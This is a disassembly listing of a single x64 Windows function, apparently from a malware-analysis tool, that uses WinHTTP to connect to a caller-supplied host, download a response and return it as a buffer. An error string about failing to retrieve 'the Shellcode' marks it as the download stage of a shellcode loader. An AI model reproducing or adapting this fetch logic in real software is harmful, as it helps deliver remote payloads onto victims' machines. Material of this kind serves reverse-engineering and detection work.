Function at 0x140001210
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rsi, r9
mov r13d, r8d
mov r12, rdx
mov qword [rsp + 0x50], rcx
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
xor edi, edi
mov qword [rsp + 0x70], rdi
mov dword [rsp + 0x58], edi
mov dword [rsp + 0x5c], edi
mov ebx, edi
mov r14d, edi
mov r15d, edi
mov ebp, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400013c0
xor r9d, r9d
movzx r8d, r13w
mov rdx, r12
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r15, rax
test rax, rax
je 0x1400013c0
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, rsi
lea rdx, [0x140004498]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbp, rax
test rax, rax
je 0x1400013c0
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov r14d, eax
test eax, eax
je 0x1400013c0
xor edx, edx
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov r14d, eax
test eax, eax
je 0x1400013c0
nop dword [rax + rax]
mov dword [rsp + 0x58], edi
lea rdx, [rsp + 0x58]
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x140001344
mov ecx, dword [rsp + 0x58]
inc ecx
call fcn.1400022c4
mov rbx, rax
test rbx, rbx
je 0x1400013bc
mov r8d, dword [rsp + 0x58]
inc r8d
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x5c]
mov r8d, dword [rsp + 0x58]
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x14000138b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpReadData._n
call fcn.140001010
jmp 0x1400013a2
mov r9d, dword [rsp + 0x5c]
mov r8, rbx
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x60]
call fcn.140001ff0
mov rcx, rbx
call fcn.140002280
mov ebx, 0x8123
cmp dword [rsp + 0x58], 0
ja 0x140001320
jmp 0x1400013c0
mov dword [rsp + 0x58], edi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
cmp rbx, rsi
jne 0x1400013db
lea rcx, str.Failed_in_retrieving_the_Shellcode
call fcn.140001010
test r14d, r14d
jne 0x1400013f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__d_has_occurred._n
call fcn.140001010
test rbp, rbp
je 0x140001402
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test r15, r15
je 0x140001410
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001420
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
sub rsi, rbx
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, rax
test rsi, rsi
je 0x140001455
mov rdx, rax
mov r8, rbx
sub r8, rax
nop dword [rax]
movzx ecx, byte [rdx + r8]
mov byte [rdx], cl
inc edi
lea rdx, [rdx + 1]
movsxd rax, edi
cmp rax, rsi
jb 0x140001440
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x48], rsi
movups xmm0, xmmword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
movups xmmword [rdi], xmm0
test rbx, rbx
je 0x1400014a9
mov rdx, qword [rsp + 0x70]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400014a1
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140002280
mov rax, rdi
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140002260
mov rbx, qword [rsp + 0xc0]
add rsp, 0x80
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret